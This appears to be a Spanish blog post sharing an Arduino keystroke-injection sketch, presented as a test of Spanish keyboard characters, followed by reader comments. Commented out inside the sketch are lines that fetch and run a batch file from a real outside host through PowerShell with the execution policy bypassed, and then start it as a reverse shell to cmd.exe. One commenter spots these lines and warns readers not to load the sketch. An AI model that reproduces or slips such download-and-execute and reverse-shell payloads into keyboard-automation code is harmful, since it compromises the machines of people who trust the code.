/*
* Generated with <3 by Dckuino.js, an open source project !
*/
#include "Keyboard.h"
void typeKey(uint8_t key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
/* Init function */
void setup()
{
// Begining the Keyboard stream
Keyboard.begin();
// Wait 500ms
delay(500);
delay(400);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(100);
Keyboard.print(F("NOTEPAD"));
typeKey(KEY_RETURN);
delay(200);
Keyboard.print(F("@!$%&/()=? X 5555 [ ] arroba si sale \n"));
// Keyboard.write (0xC1); // parece q es f1
Keyboard.print("\n AHORA ES abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\ !#$%&:/<> \n");
//Keyboard.write (62);
Keyboard.write (52); Keyboard.print(F(" = codigo 52 \n "));
Keyboard.write (53); Keyboard.print(F(" = codigo 53 \n "));
Keyboard.write (54); Keyboard.print(F(" = codigo 54 \n "));
Keyboard.write (55); Keyboard.print(F(" = codigo 55 \n "));
Keyboard.write (56); Keyboard.print(F(" = codigo 56 \n "));
Keyboard.write (57); Keyboard.print(F(" = codigo 57 \n "));
Keyboard.write (58); Keyboard.print(F(" = codigo 58 \n "));
Keyboard.write (59); Keyboard.print(F(" = codigo 59 \n "));
Keyboard.write (60); Keyboard.print(F(" = codigo 60 \n "));
Keyboard.write (61); Keyboard.print(F(" = codigo 61 \n "));
Keyboard.write (62); Keyboard.print(F(" = codigo 62 \n "));
Keyboard.write (63); Keyboard.print(F(" = codigo 63 \n "));
Keyboard.write (64); Keyboard.print(F(" = codigo 64 \n "));
Keyboard.write (65); Keyboard.print(F(" = codigo 65 \n "));
Keyboard.write (66); Keyboard.print(F(" = codigo 66 \n "));
Keyboard.write (67); Keyboard.print(F(" = codigo 67 \n "));
Keyboard.write (68); Keyboard.print(F(" = codigo 68 \n "));
/*
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('6');
Keyboard.press('2');
Keyboard.releaseAll();
*/
delay(100);
/*Keyboard.print(F("cd / & mkdir win & cd win & echo (wget 'http://kambell.pe/sys/1/batman.bat' -OutFile a.bat) > b.PS1 & powershell -ExecutionPolicy ByPass -File b.ps1"));
*/
typeKey(KEY_RETURN);
delay(550);
/* Keyboard.print(F("START /MIN a.bat IP PORT -e cmd.exe -d & exit")); */
typeKey(KEY_RETURN);
// Ending stream
Keyboard.end();
}
/* Unused endless loop */
void loop() {}
************************
Este sencillo código nos permite ver y saber si nuestros caracteres estan correctamente
el resultado debe ser similar a este:
@!$%&/()=? X 5555 [ ] arroba si sale
AHORA ES abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\ !#$%&:/<>
4 = codigo 52
5 = codigo 53
6 = codigo 54
7 = codigo 55
8 = codigo 56
9 = codigo 57
: = codigo 58
; = codigo 59
< = codigo 60
= = codigo 61
> = codigo 62
? = codigo 63
@ = codigo 64
A = codigo 65
B = codigo 66
C = codigo 67
D = codigo 68
Bueno si les sale asi es que ya les va bien su tabla de caracteres si no les sale asi es que tienen que cambiar el keyboard.cpp de su librería por el mio que yo publique, solo para gente que utiliza teclado español internacional
Mire estoy substituyendo el fichero Keyboard.cpp por el suyo ya hace varios días y no consigo que funcione correctamente.
ResponderBorrarMe interesaría mucho que me pudiera orientar como lo debo hacer para que me funcione; ya que tengo una mano que debido a mis limitaciones no la puedo usar y quisiera programar una serie de botones para evitarme la combinaciones de teclas y la primera que todos usamos es la @ y me cuesta un montón con un mano.
Gracias
se agradece el aporte, pero creo que estas líneas están demás:
ResponderBorrar;
/*Keyboard.print(F("cd / & mkdir win & cd win & echo (wget 'http://kambell.pe/sys/1/batman.bat' -OutFile a.bat) > b.PS1 & powershell -ExecutionPolicy ByPass -File b.ps1"));
*/
typeKey(KEY_RETURN);
delay(550);
/* Keyboard.print(F("START /MIN a.bat IP PORT -e cmd.exe -d & exit")); */
typeKey(KEY_RETURN);
YO QUE USTEDES NO LO CARGARÍA!!!